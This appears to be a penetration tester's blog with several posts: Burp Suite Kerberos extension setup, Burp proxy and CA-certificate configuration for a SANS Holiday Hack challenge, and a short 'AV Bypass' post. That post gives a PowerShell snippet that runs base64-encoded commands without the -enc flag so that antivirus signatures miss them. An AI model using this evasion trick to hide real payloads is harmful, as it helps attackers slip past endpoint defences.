Burp - Kerberos Authentication

Sometimes in my job, I'm asked to do an assessment of web applications.  And plenty of web applications use Kerberos Authentication.  I'm not exactly an expert in Burp, so I had issues with this.  Since I had issues, I thought I'd share what I did in case others have problems.  Keep in mind, this could be wrong, but it worked for me.

Symptom:  You're getting a login prompt for certain web applications that are expecting credentials.  So you look at the headers and you see WWW-Authenticate: Negotiate <some long string>.

This means that the application is expecting Kerberos and may fall back to NTLM if Kerberos fails.

So how to get Kerberos Authentication working in Burp?

Source 

https://github.com/nccgroup/Berserko/issues/5 

 

As of the time of this writing, there isn't native Kerberos support in Burp, that I'm aware of.  I'm running 2020-12-1.  If support was added for that, it wasn't working for me.  So, as far as I know, you must use an extension called Kerberos Authentication. 

In my case, Burp is located in /opt/Burp. 

 

In order for this to work, I had to launch Burp in a specific way.  This was supposed to be fixed, but apparently it wasn't.   The problem, according to rtt-ncc in that source up there, is that Burp "is now using OpenJDK instead of the Oracle JDK, and the version of OpenJDK being shipped doesn't include the jdk.security.auth modules." 

 

So, according to va-14 in that source up there, the solution is to open up a Terminal and run the following to launch Burp instead of launching it from Applications (I'm on a Kali box). 

 

java -jar /opt/BurpSuitePro/burpsuitepro.jar 

 

After you launch Burp, you'll get a popup asking if you want to load from a saved setting or start a Temp Project.  Start a Temp Project.  Use Default Settings. 

To install Kerberos Authentication, click on the Extender Tab.  This will bring up another set of tabs underneath the original tabs.  Click on BApp Store. 

Scroll down until you see the Kerberos Authentication Extender.  Click on it to select it. 

Click the Install Button on the right hand frame.  Once it is done installing, you'll see a Kerberos Authentication tab on the top row of tabs.  By default it is turned off.  In order to use Kerberos, make sure that the "Do Kerberos" checkbox is checked at the top.  You must do this every time you open a new project if you'd like to use Kerberos. 

 

There are settings that must be configured for it to work.   

 

Click on the Kerberos Authentication tab and put your details in there.  Do not check the "Save password in Burp config?" Checkbox.  We don't want random creds lying around where people can find them.  Also of note, in the Scope area, having the "All hosts in scope for Kerberos authentication" box checked is not recommended.  Otherwise you may actually test hosts that you don't intend to.  The "Do not perform Kerberos authentication to servers which support NTLM" is also not recommended because NTLM challenges and responses can be sniffed and cracked.  We are using TLS, though, so it should be ok, but don't quote me on that.  Just be aware that that might be a security hazard.  In order to use Kerberos, make sure that the Do Kerberos checkbox is checked at the top.  You must do this every time you open a new project if you'd like to use Kerberos.

The details on the Kerberos Extender tab, as long as you're familiar with Burp and your environment, are fairly easy to work out.  If you have questions, ask your sys admins.

Make sure to test your credentials and your connectivity to the domain.

The cool thing about this is that you don't have to be a member of the domain to use it.  You just need valid credentials.

I did run into a couple of errors, but they seemed to be resolved by launching Burp the way that I said above.  I found this solution by using Google.  Chances are, if you have an error, simply Google it.  You're likely to find a solution.

When you use Intruder or Repeater, don't add the WWW-Authenticate header.  Burp will take care of that for you so long as the Kerberos Authentication Extender is enabled.

Hopefully this helps others not spend a lot of time researching this.

SANS Holiday Hack 2020 Write-UP

Completed the 2020 SANS Holiday Hack Challenge.  It was so fun!  I'm attaching images because I've found myself short on time.  Unfortunately, this blog won't let me upload a Powerpoint Presentation or PDF.  I created this in Powerpoint and exported to PDF for submitting my entry.  There's also an option to export to images, so I uploaded the images on here.  If you can't see or read these, send me a message, and I'd be happy to send the PDF over to you.  I highly recommend trying the challenges and then reading multiple write-ups.  I learn so much by trying and then seeing things through others' eyes.  Hopefully everyone has a happy new year!  

Another AV Bypass

I was going to release this in January 2020, but thought that I probably shouldn't.  I notified the vendor.  The AV vendor doesn't consider this a bypass.  But, that AV vendor is using signatures.  This might be able to bypass that for a while.

This AV vendor blocks execution of encoded powershell commands, or so they thought.  I used to see many powershell -e, -enc- or -encodedcommand attempts in my logs, but then I stopped seeing them as often as AV vendors got wise to this method of attack.  So, I thought, is there a way to run encoded commands without using -e, -enc, or -encodedcommand?

This isn't sophisticated by any means, but it works for now for this specific vendor

#runs whoami
$evilencodedcommand = "d2hvYW1p"
$evilcommand = [System.Convert]::FromBase64String($evilencodedcommand)
$decodedevilcommand = [System.Text.Encoding]::Ascii.GetString($evilcommand)
powershell.exe $decodedevilcommand

Holiday Hack 2019 - Burp

This section will help with Objective 9 and the Holiday Hack Trail Terminal as well as other challenges.

Install Burp (only if it's not already installed.  I believe Community Edition is included in Kali Linux.)  Installation isn't that difficult.  You can find out how here:  https://portswigger.net/burp/releases/professional-community-2020-1?requestededition=community



I'm using a NetWars VM that I had on hand since it's already on there.  These directions are for some Linux builds.  It's much easier in Windows.

If you believe it's already installed, but don't know where it is, in a Linux terminal type

which burp

and that should find the executable as long as it's mapped to the path.  If it's not mapped to the path, try:

find / -iname burp 2>/dev/null

Linux will output paths like:

/root/.java/userPrefs/burp
/pentest/exploitation/burp

Navigate into the directory

cd /pentest/exploitation/burp


list the files in the directory so you can see if burp is in here.
 
ls
 
it will output the files in this directory.  Burp will be something like burp.sh

Run it

./burp.sh &

As long as Burp is allowed to execute.  The Burp GUI will load.  If it doesn't, check to be sure that Burp is allowed to execute.

ls -l | grep burp.sh

Look at the permissions on the left hand side, it should allow the user you're using to execute.  If not, try:

chmod u+x burp.sh

Try the following command again:

./burp.sh &

Now the Burp GUI should launch.  I remember the first time I launched Burp - it's a bit of a tabbed mess.  You'll get used to it.  Lolz  If I remember correctly, you'll get popups asking about starting a project - just start a new project - with Community Edition, it will not save the changes after you close Burp, so keep that in mind.

If this is your first time running Burp, ensure that your browser has Burp configured as the proxy on port 8080 (or whatever port floats your boat.  Point being that Burp and the browser have to know the port and that Burp is the proxy.  So the port has to match.)
Click the Proxy Tab.  Click the Options Tab. Under Proxy Listeners, by default it is set to 127.0.0.1 port 8080.  Make sure “Running" is checked.  If you’d like to change the port, click on the IP, click Edit, and change whatever settings you fancy.  Just know it isn't a good idea to change things without understanding what they do.

Now configure the browser to use Burp as a proxy.  This can be done multiple ways.  This can be done natively in the browser, which is a pain if you want use multiple proxies, or not use a proxy at all.  Or you can install an extension that can switch between proxies or not use them at all, but, either way works.  

For Firefox, to configure a proxy natively, click the 3 Lines on the top right hand side, select preferences, then Click on General on the left hand side.  In the right hand frame, scroll all the way down to the section labeled Network Settings.  Click on the Settings button on the bottom right hand side.

Check the Manual proxy configuration and configure each protocol that you'd like to use the proxy with the loopback (127.0.0.1) IP and port 8080.  note, your screen may look different than mine because I'm using a Proxy Switcher extension in Firefox.  Don't worry about the SOCKS host for now.  Leave it blank.  Click on OK.

 
Now test to be sure that Burp is getting the traffic.  Surf to google.com.  if you get an error, it may be because your browser doesn’t trust Burp's certificate.  So, you have to configure the browser to trust Burp.  Go to http://burp in the browser. 

The CA Certificate phrase on the right is a link to download Burp’s certificate.  Click on the link and download the certificate  If you get a popup asking what you’d like to do with the certificate file, Save it.  Keep note of where you put it.

In Firefox, it’s the 3 Lines on the top right hand side, preferences, then Click on Privacy and Security on the left hand side.  In the right hand frame, scroll all the way down to the section labeled Certificates  Click on the View Certificates button on the bottom right hand side.

You should now see a Certificate Manager screen.  Click the Authorities tab.  Click on the Import button at the bottom of this screen.  It should open a screen that is titled, “Select File containing CA certificate(s) to import”.  Navigate to where you saved the Burp certificate.  Click on the certificate.  Click Open.  You should get a notification that the certificate was successfully imported into Firefox.

Test to see if Burp can see the traffic.  Surf to www.google.com in the browser. Check Burp to see if you can see the traffic.  If you have issues, Burp has decent documentation for some issues.  https://support.portswigger.net/customer/portal/topics/718317-installing-and-configuring-burp/articles.  Burp is able to see the traffic.  You can tell because in the Target tab, Site Map tab, it's populated with web traffic, including www.google.com.  If Burp couldn't see the traffic, it would be empty.

This next part is important to avoid attacking unintended targets.  Click on the Target tab, Then Click on Scope tab.  Under Target Scope, Click the Add button.  You should see a popup titled “Add prefix for in-scope URLs”.  Type the url in the “Prefix" text box.  Click ok.  You should now see the url in the Target Scope.